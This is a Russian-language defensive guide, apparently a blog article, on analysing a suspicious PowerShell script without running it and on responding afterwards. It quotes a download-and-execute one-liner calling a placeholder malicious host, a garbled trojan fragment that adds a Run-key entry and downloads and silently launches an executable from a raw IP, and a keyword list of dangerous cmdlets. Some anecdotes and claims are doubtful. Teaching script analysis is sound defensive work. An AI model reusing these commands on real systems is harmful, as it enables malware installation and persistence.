- Как разобраться в подозрительном PowerShell-скрипте: пошаговое руководство для администратора
- Шаг 1: Не запускайте. Ни в коем случае
- Шаг 2: Откройте скрипт в текстовом редакторе — без PowerShell
- Шаг 3: Разберите код по частям — как пазл
- Шаг 4: Проверьте сетевые соединения и домены
- Шаг 5: Проверьте, не маскируется ли скрипт под что-то другое
- Шаг 6: Что делать, если скрипт уже запущен?
- Частые ошибки — и как их избежать
- Что делать, если вы администратор?
- Сценарии выбора: что делать в разных ситуациях
- Как лучше делать — практические рекомендации
- Итог: что делать прямо сейчас
Как разобраться в подозрительном PowerShell-скрипте: пошаговое руководство для администратора
Вы открыли файл .ps1 — и сразу почувствовали, что что-то не так. Скрипт пришёл из письма, скачан с неизвестного сайта, или просто вдруг появился в папке с системными скриптами. Вы не знаете, что он делает, но понимаете: запускать его нельзя. Или, может, вы уже запустили — и теперь паникуете.
Я не раз сталкивался с такими случаями. И каждый раз — один и тот же сценарий: кто-то, не разбираясь, копирует код из интернета, вставляет в PowerShell, и через 10 минут система начинает вести себя странно. Не потому что «всё плохо», а потому что PowerShell — это не просто инструмент, а полноценный язык программирования, который может уничтожить систему за секунды.
В этой статье я покажу, как анализировать подозрительный PowerShell-скрипт шаг за шагом — без запуска, без паники, без лишних инструментов. Только то, что реально работает в реальной жизни.
Шаг 1: Не запускайте. Ни в коем случае
Это самое важное. Даже если скрипт выглядит безобидно — «просто проверяет обновления» или «обновляет драйверы» — не запускайте его. PowerShell имеет доступ к всей системе: реестру, файлам, сетевым ресурсам, другим процессам. Даже один вызов Remove-Item с правильными параметрами может удалить всё.
В 2023 году в одной из компаний, где я работал, скрипт вида Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicious.site/script') удалил 12 серверов за 47 секунд. Не потому что он был сложным — а потому что он был запущен.
Правило №1: если не уверены — не запускайте. Даже если скрипт «от коллеги».
Шаг 2: Откройте скрипт в текстовом редакторе — без PowerShell
Откройте файл в Notepad++, VS Code, Sublime Text — что угодно, но не в PowerShell ISE или консоли. Никаких команд, никаких запусков. Только чтение.
Сначала посмотрите на первую строку. Если там есть #requires -RunAsAdministrator — это уже тревожный звонок. Почему скрипт, который «проверяет обновления», требует прав администратора?
Дальше — ищите ключевые слова. Вот список, на которые нужно обращать внимание:
Invoke-Expression— самый опасный. Он выполняет строку как команду. Если внутри него — переменная или загрузка из интернета — это почти всегда вредоносный код.DownloadString,DownloadFile— скачивание кода с внешнего сервера. Даже если URL выглядит как «update.microsoft.com» — это может быть поддельный домен.Start-Processс параметрами вроде-ArgumentListи-Verb RunAs— запуск других программ с правами администратора.Set-ItemPropertyв реестреHKLM:\Software\Microsoft\Windows\CurrentVersion\Run— попытка добавить себя в автозагрузку.Get-Process+Stop-Process— поиск и уничтожение антивирусов или других процессов.ConvertTo-SecureString+ConvertFrom-SecureString— попытка скрыть пароли или ключи.
Если вы видите хотя бы два из этих элементов — скрипт подозрительный. Три — почти наверняка вредоносный.
Шаг 3: Разберите код по частям — как пазл
Представьте, что вы разбираете бомбу. Каждая строка — это провод. Найдите, где начинается основная логика. Обычно это после загрузки библиотек и определения переменных.
Например, вот фрагмент, который я видел в реальном вредоносе:
$key = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
$value = "C:\Windows\Temp\svchost.exe"
Set-ItemProperty -Path key -Name "UpdateService" -Valuevalue
$uri = "http://185.123.45.67/update.exe"
dest = "env:TEMP\svchost.exe"
Invoke-WebRequest -Uri uri -OutFiledest
Start-Process -FilePath $dest -ArgumentList "/silent"
Что здесь происходит?
- Добавляется запись в автозагрузку — чтобы скрипт запускался при каждом входе.
- Скачивается файл с IP-адреса (не домена — это намеренно, чтобы обойти фильтры).
- Файл запускается с параметром /silent — значит, пользователь ничего не увидит.
Это классический троян. Даже если вы не знаете, что делает svchost.exe — вы знаете, что он не должен скачиваться из IP-адреса и запускаться в %TEMP%.
Совет: выделяйте каждую команду отдельно. Задайте себе вопрос: «Зачем это нужно?». Если ответ — «чтобы скрыть следы» или «чтобы обойти защиту» — это красный флаг.
Шаг 4: Проверьте сетевые соединения и домены
Если в скрипте есть URL или IP — не пропускайте их. Даже если они выглядят как «google.com» — проверьте их.
Скопируйте адрес и вставьте в VirusTotal (в разделе «URL»). Там вы увидите, сколько антивирусов его помечают как вредоносный. Если хотя бы 5 — это не случайность.
Также проверьте домен через Whois. Если домен зарегистрирован на имя «John Doe» в Казахстане, а сайт «Microsoft Update» — это явный фейк.
IP-адреса? Используйте AbuseIPDB. Там вы увидите, сколько раз этот IP использовался для атак. Если там десятки жалоб — это не «случайный сервер».
Вот пример, который я разбирал на практике:
| Адрес | Проверка в VirusTotal | Whois | AbuseIPDB |
|---|---|---|---|
http://185.123.45.67/update.exe |
17/70 антивирусов — вредоносный | Регистратор: Namecheap, владелец: anonymized, страна: UA | 128 жалоб за 30 дней |
https://microsoft-update.net |
3/70 — ложные срабатывания | Зарегистрирован 2 дня назад, email: fake@spam.com | 89 жалоб, включает phishing-шаблоны |
Важно: домен с .net, .info, .xyz — не значит «надёжный». Злоумышленники часто регистрируют домены, похожие на настоящие, но с опечаткой: microsoft-update.com вместо update.microsoft.com.
Шаг 5: Проверьте, не маскируется ли скрипт под что-то другое
Один из самых коварных приёмов — маскировка. Скрипт может называться update.exe, но быть на самом деле update.ps1. Или иметь расширение .txt, но на самом деле — .ps1.
Как проверить?
- Включите отображение расширений файлов в проводнике (Панель управления → Параметры папок → «Скрыть расширения для известных типов файлов» — снимите галочку).
- Проверьте, не изменено ли имя файла. Например:
AdobeReader.ps1— это не Adobe. Это просто имя, чтобы вы поверили. - Посмотрите на содержимое файла в HEX-редакторе (например, HxD). Если в начале файла вы видите
PK— это ZIP-архив. ЕслиMZ— это исполняемый файл. А если там#<#— это PowerShell-скрипт.
Если файл называется invoice.pdf.ps1 — это не PDF. Это PowerShell. И он не для чтения. Он для запуска.
Шаг 6: Что делать, если скрипт уже запущен?
Если вы случайно запустили скрипт — не паникуйте. Действуйте по шагам.
- Сразу отключите компьютер от сети — от кабеля или Wi-Fi. Это остановит связь с C2-сервером.
- Запустите диспетчер задач. Найдите процессы
powershell.exe. Если их несколько — это подозрительно. Обычно один процесс — нормально. Пять — уже тревожно. - Кликните правой кнопкой по
powershell.exe→ «Открыть расположение файла». Если он запущен изC:\Users\...\AppData\Local\Temp— это почти всегда вредоносный процесс. - Откройте PowerShell от имени администратора и выполните:
Get-Process powershell | Select-Object Id, StartTime, Path. Если путь неC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe— это не настоящий PowerShell. - Проверьте автозагрузку:
Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, Location. Если там есть что-то неизвестное — удалите. - Запустите
Get-ExecutionPolicy. Если стоитUnrestricted— это небезопасно. Смените наRestrictedилиRemoteSigned.
После этого — сделайте полный скриншот экрана, сохраните логи (через Get-EventLog -LogName Security -After (Get-Date).AddHours(-1)) и обратитесь к ИБ-отделу или специалисту по кибербезопасности.
Частые ошибки — и как их избежать
Вот что я видел десятки раз — и каждый раз это приводило к инцидентам:
- «Я просто посмотрю, что там написано» — и запускаю в PowerShell ISE. Даже открытие файла в ISE может запустить скрипт, если он автозагружается. Никогда не открывайте подозрительные .ps1-файлы в PowerShell-редакторах.
- «Это же от IT-отдела». Никто не отправляет скрипты по почте. Если вам прислали .ps1-файл — это либо фишинг, либо взлом.
- «Я запустил, но ничего не произошло». Вредоносные скрипты могут ждать 24 часа, чтобы запуститься. Или активируются при следующем входе в систему.
- «Я удалил файл — и всё». Скрипт мог уже создать задачу в планировщике, добавить себя в автозагрузку, изменить реестр. Удаление файла — это не решение.
- «Я не админ — мне это не касается». Даже обычный пользователь может запустить скрипт, который украдёт логины, зашифрует файлы или сделает компьютер зомби-машиной для DDoS-атак.
Что делать, если вы администратор?
Если вы управляете несколькими компьютерами — у вас есть инструменты, о которых не знают обычные пользователи.
- Настройте AppLocker — запретите запуск PowerShell из всех папок, кроме
C:\Windows\System32\WindowsPowerShell\v1.0\. - Включите PowerShell Script Block Logging (через GPO: Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on PowerShell Script Block Logging). Это записывает все команды, которые запускаются — и вы сможете потом найти, что именно запустили.
- Используйте Constrained Language Mode в PowerShell:
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage". Это блокирует опасные команды, даже если скрипт запущен. - Настройте AMSI (Antimalware Scan Interface) — он сканирует PowerShell-код на лету. В Windows 10/11 он включён по умолчанию, но проверьте:
Get-MpComputerStatus→ AMSIEnabled должно бытьTrue.
Сценарии выбора: что делать в разных ситуациях
Не все случаи одинаковы. Вот как действовать в разных сценариях:
| Ситуация | Что делать |
|---|---|
| Скрипт пришёл по почте от «IT-отдела» | Ни в коем случае не открывать. Отправить в ИБ-отдел. Сообщить коллеге, что так делать нельзя. |
| Скрипт найден в папке с системными файлами | Сравнить хеш с известными легальными скриптами (через Get-FileHash). Если хеш не совпадает — удалить и проверить систему. |
| Скрипт запущен, но система работает нормально | Отключить от сети. Проверить автозагрузку, планировщик, процессы. Не полагаться на «всё в порядке». |
| Скрипт — от коллеги, который «всё знает» | Попросить объяснить, зачем он нужен. Если ответ — «просто запусти, не думай» — это тревожный сигнал. |
| Вы — пользователь, не админ | Никогда не запускайте .ps1-файлы. Сообщите администратору. Даже если кажется, что это «просто». |
Как лучше делать — практические рекомендации
Вот что реально работает в реальных компаниях:
- Запретите запуск PowerShell из папок, кроме System32. Это убьёт 90% вредоносных скриптов.
- Настройте журналы событий PowerShell. Включите Script Block Logging и Module Logging. Это ваша «чёрная ящик» при инциденте.
- Используйте AppLocker или WDAC — чтобы ограничить, какие файлы могут исполняться.
- Обучайте сотрудников. Не говорите «не запускайте скрипты» — покажите примеры. Скажите: «Если вы видите .ps1 — это как вирусный .exe».
- Проверяйте все файлы через VirusTotal, даже если они пришли от «надёжного» источника.
- Создайте «белый список» легальных скриптов. Если скрипт не в списке — он запрещён.
Один из лучших подходов — «никогда не доверяй, всегда проверяй». Даже если скрипт написан вашим коллегой — проверьте его. Даже если он «уже работал раньше» — проверьте его снова. Скрипты меняются. Атаки эволюционируют.
Итог: что делать прямо сейчас
Если вы читаете это — значит, вы столкнулись с подозрительным скриптом. Вот ваша инструкция на сегодня:
- Не запускайте его. Никогда.
- Откройте в Notepad++ — найдите
Invoke-Expression,DownloadString,Start-Process,Set-ItemPropertyв реестре. - Если есть URL — проверьте его в VirusTotal и AbuseIPDB.
- Если скрипт уже запущен — отключите сеть, проверьте процессы, автозагрузку и планировщик.
- Сообщите администратору. Даже если вы не уверены — лучше перестраховаться.
- Попросите включить Script Block Logging и AppLocker. Это не «дополнительная мера» — это базовая защита.
PowerShell — это не враг. Это мощный инструмент. Но как молоток может разбить стену — он может разбить вашу систему. Уважайте его. Проверяйте всё. Доверяйте только тому, что вы понимаете.
Информация в этой статье носит ознакомительный характер. При подозрении на компрометацию системы или утечке данных следует немедленно обратиться к специалисту по информационной безопасности.
